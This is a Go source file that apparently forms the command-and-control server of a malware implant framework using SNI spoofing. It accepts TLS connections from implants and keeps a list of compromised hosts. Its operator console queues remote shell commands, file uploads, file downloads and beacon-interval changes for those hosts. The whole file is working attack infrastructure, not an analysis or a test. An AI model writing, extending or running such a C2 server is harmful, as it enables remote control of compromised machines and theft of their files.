// Command server is the C2 listener for the SNI-spoofing implant framework. // // It listens on a configurable TCP/TLS port, accepts connections carrying // ANY SNI value in the ClientHello (no validation), and exposes a shell-like // operator interface for interacting with connected implants. package main import ( "bufio" "crypto/tls" "encoding/base64" "encoding/json" "flag" "fmt" "io" "net" "os" "os/signal" "strconv" "strings" "sync" "sync/atomic" "syscall" "time" tlsutil "github.com/openclaw/c2-sni-spoof/pkg/tls" ) // ---------- Message types exchanged over TLS ---------- // Beacon is sent by the implant on each poll cycle. type Beacon struct { Type string `json:"type"` // "beacon" Hostname string `json:"hostname"` // machine hostname PID int `json:"pid"` // process ID BeaconID int64 `json:"beacon_id"` // monotonic counter SNI string `json:"sni,omitempty"` // the SNI the client used } // Command is sent from server → implant. type Command struct { Type string `json:"type"` // "exec" | "upload" | "download" | "beacon" | "ping" | "noop" Payload string `json:"payload,omitempty"` // e.g. shell command Filename string `json:"filename,omitempty"` // for upload / download Data string `json:"data,omitempty"` // base64 file content (upload) BeaconSec int `json:"beacon_sec,omitempty"` ID int64 `json:"id,omitempty"` // command ID for tracing } // Result is sent from implant → server. type Result struct { Type string `json:"type"` // "result" | "error" Command int64 `json:"command_id"` // echoes the Command.ID Output string `json:"output,omitempty"` // stdout / stderr Data string `json:"data,omitempty"` // base64 file data (download) Error string `json:"error,omitempty"` } // ---------- Client state ---------- type Client struct { ID string Conn net.Conn Enc *json.Encoder Dec *json.Decoder Hostname string SNI string ConnectedAt time.Time LastSeen time.Time BeaconSec int pendingCmd atomic.Pointer[Command] // commands from operator (fire-and-forget) } func NewClient(id string, conn net.Conn, enc *json.Encoder, dec *json.Decoder) *Client { return &Client{ ID: id, Conn: conn, Enc: enc, Dec: dec, ConnectedAt: time.Now(), LastSeen: time.Now(), BeaconSec: 10, } } // ---------- Operator command parsing ---------- type OpCmd struct { Raw string Parts []string Cmd string Args []string } func parseOpCmd(line string) OpCmd { parts := strings.Fields(line) if len(parts) == 0 { return OpCmd{Raw: line} } return OpCmd{ Raw: line, Parts: parts, Cmd: strings.ToLower(parts[0]), Args: parts[1:], } } // ---------- Global state ---------- var ( clients = make(map[string]*Client) clientsMu sync.RWMutex ) var ( selectedID string selectedMu sync.RWMutex ) func listClients() string { clientsMu.RLock() defer clientsMu.RUnlock() if len(clients) == 0 { return " (no clients connected)\n" } var b strings.Builder fmt.Fprintf(&b, " %-8s %-20s %-30s %s\n", "ID", "Hostname", "SNI", "Last Seen") fmt.Fprintf(&b, " %s\n", strings.Repeat("─", 76)) for _, c := range clients { ago := time.Since(c.LastSeen).Truncate(time.Second) fmt.Fprintf(&b, " %-8s %-20s %-30s %s ago\n", c.ID, c.Hostname, truncate(c.SNI, 28), ago) } selectedMu.RLock() sel := selectedID selectedMu.RUnlock() if sel != "" { c := getClient(sel) if c != nil { fmt.Fprintf(&b, "\n selected: client %s (%s)\n", sel, c.Hostname) } else { fmt.Fprintf(&b, "\n selected: client %s (gone)\n", sel) } } return b.String() } func getClient(id string) *Client { clientsMu.RLock() defer clientsMu.RUnlock() return clients[id] } func removeClient(id string) { clientsMu.Lock() delete(clients, id) clientsMu.Unlock() selectedMu.Lock() if selectedID == id { selectedID = "" } selectedMu.Unlock() } func truncate(s string, max int) string { if len(s) <= max { return s } return s[:max-3] + "..." } // ---------- Client handler goroutine ---------- var clientIDCounter uint64 func nextClientID() string { n := atomic.AddUint64(&clientIDCounter, 1) return fmt.Sprintf("c%d", n) } func handleClient(conn net.Conn) { var sni string if tlsConn, ok := conn.(*tls.Conn); ok { _ = tlsConn.Handshake() // ensure handshake is done sni = tlsutil.ExtractSNI(tlsConn) } id := nextClientID() enc := json.NewEncoder(conn) dec := json.NewDecoder(conn) c := NewClient(id, conn, enc, dec) c.SNI = sni clientsMu.Lock() clients[id] = c clientsMu.Unlock() fmt.Fprintf(os.Stderr, "\n[+] client %s connected (SNI: %q)\n", id, sni) defer func() { conn.Close() removeClient(id) fmt.Fprintf(os.Stderr, "\n[-] client %s disconnected\n", id) }() for { // Set a read deadline so we detect stale connections. conn.SetDeadline(time.Now().Add(90 * time.Second)) var beacon Beacon if err := dec.Decode(&beacon); err != nil { if err != io.EOF { fmt.Fprintf(os.Stderr, "[!] client %s read error: %v\n", id, err) } return } c.LastSeen = time.Now() if beacon.Hostname != "" { c.Hostname = beacon.Hostname } // Pop pending command (atomic swap). cmd := c.pendingCmd.Swap(nil) // Build the command to send. sendCmd := &Command{Type: "noop"} if cmd != nil { sendCmd = cmd } // Send it. if err := enc.Encode(sendCmd); err != nil { fmt.Fprintf(os.Stderr, "[!] client %s write error: %v\n", id, err) return } // For noop / ping, no result expected — just loop. if sendCmd.Type == "noop" || sendCmd.Type == "ping" { continue } // Read result. var res Result if err := dec.Decode(&res); err != nil { fmt.Fprintf(os.Stderr, "[!] client %s result error: %v\n", id, err) return } // Print result to stderr (operator interface). output := res.Output if res.Type == "error" { output = "ERROR: " + res.Error } fmt.Fprintf(os.Stderr, "\n[→] result from %s (cmd #%d):\n%s\n", id, sendCmd.ID, output) } } // ---------- Send command helper ---------- func queueCommand(c *Client, cmd *Command) { c.pendingCmd.Store(cmd) } // ---------- Operator interface ---------- var helpText = ` Commands: help show this help clients / ls list connected implants select select an implant by ID exec run shell command on selected implant upload upload a file to implant download download a file from implant beacon set beacon interval on implant ping ping selected implant exit / quit shut down server ` func runOperator() { scanner := bufio.NewScanner(os.Stdin) fmt.Println("SNI Spoof C2 Server") fmt.Println("Type 'help' for commands.") fmt.Print("\n> ") for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) oc := parseOpCmd(line) switch oc.Cmd { case "": // skip case "help": fmt.Print(helpText) case "clients", "ls": fmt.Print(listClients()) case "select": if len(oc.Args) < 1 { fmt.Println("usage: select ") break } id := oc.Args[0] c := getClient(id) if c == nil { fmt.Printf("client %s not found\n", id) break } selectedMu.Lock() selectedID = id selectedMu.Unlock() fmt.Printf("selected client %s (%s)\n", id, c.Hostname) case "exec": c, err := getSelectedClient() if err != nil { fmt.Println(err) break } if len(oc.Args) < 1 { fmt.Println("usage: exec ") break } cmd := &Command{ Type: "exec", Payload: strings.Join(oc.Args, " "), ID: nextCmdID(), } queueCommand(c, cmd) fmt.Printf("queued exec #%d on %s: %s\n", cmd.ID, c.ID, cmd.Payload) case "upload": c, err := getSelectedClient() if err != nil { fmt.Println(err) break } if len(oc.Args) < 2 { fmt.Println("usage: upload ") break } localPath := oc.Args[0] remotePath := oc.Args[1] data, err := os.ReadFile(localPath) if err != nil { fmt.Printf("error reading %s: %v\n", localPath, err) break } encoded := base64.StdEncoding.EncodeToString(data) cmd := &Command{ Type: "upload", Filename: remotePath, Data: encoded, ID: nextCmdID(), } queueCommand(c, cmd) fmt.Printf("queued upload #%d (%d bytes → %s)\n", cmd.ID, len(data), remotePath) case "download": c, err := getSelectedClient() if err != nil { fmt.Println(err) break } if len(oc.Args) < 1 { fmt.Println("usage: download ") break } cmd := &Command{ Type: "download", Filename: oc.Args[0], ID: nextCmdID(), } queueCommand(c, cmd) fmt.Printf("queued download #%d for %s\n", cmd.ID, oc.Args[0]) case "beacon": c, err := getSelectedClient() if err != nil { fmt.Println(err) break } if len(oc.Args) < 1 { fmt.Println("usage: beacon ") break } sec, err := strconv.Atoi(oc.Args[0]) if err != nil || sec < 1 { fmt.Println("beacon interval must be a positive integer") break } cmd := &Command{ Type: "beacon", BeaconSec: sec, ID: nextCmdID(), } queueCommand(c, cmd) fmt.Printf("queued beacon interval change to %ds\n", sec) case "ping": c, err := getSelectedClient() if err != nil { fmt.Println(err) break } cmd := &Command{ Type: "ping", ID: nextCmdID(), } queueCommand(c, cmd) fmt.Printf("queued ping on %s\n", c.ID) case "exit", "quit": fmt.Println("shutting down…") os.Exit(0) default: fmt.Printf("unknown command: %s (try 'help')\n", oc.Cmd) } fmt.Print("> ") } } func getSelectedClient() (*Client, error) { selectedMu.RLock() id := selectedID selectedMu.RUnlock() if id == "" { return nil, fmt.Errorf("no client selected — use `select ` first") } c := getClient(id) if c == nil { selectedMu.Lock() selectedID = "" selectedMu.Unlock() return nil, fmt.Errorf("selected client is gone") } return c, nil } var cmdIDCounter atomic.Int64 func nextCmdID() int64 { return cmdIDCounter.Add(1) } // ---------- main ---------- func main() { bind := flag.String("bind", "0.0.0.0:8443", "listen address:port") certFile := flag.String("cert", "server.crt", "TLS certificate file (PEM)") keyFile := flag.String("key", "server.key", "TLS key file (PEM)") caFile := flag.String("ca", "ca.crt", "CA certificate file (PEM)") flag.Parse() tlsCfg, err := tlsutil.ServerTLSConfig(*certFile, *keyFile, *caFile) if err != nil { fmt.Fprintf(os.Stderr, "TLS setup error: %v\n", err) os.Exit(1) } listener, err := tls.Listen("tcp", *bind, tlsCfg) if err != nil { fmt.Fprintf(os.Stderr, "listen error: %v\n", err) os.Exit(1) } defer listener.Close() fmt.Printf("[*] C2 server listening on %s (TLS, any SNI accepted)\n", *bind) // Handle Ctrl+C gracefully. sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) // Start operator interface. go runOperator() // Accept loop. go func() { for { conn, err := listener.Accept() if err != nil { select { case <-sigCh: return default: } // Brief yield so we don't busy-loop on shutdown. time.Sleep(100 * time.Millisecond) continue } go handleClient(conn) } }() <-sigCh fmt.Println("\n[*] shutting down…") }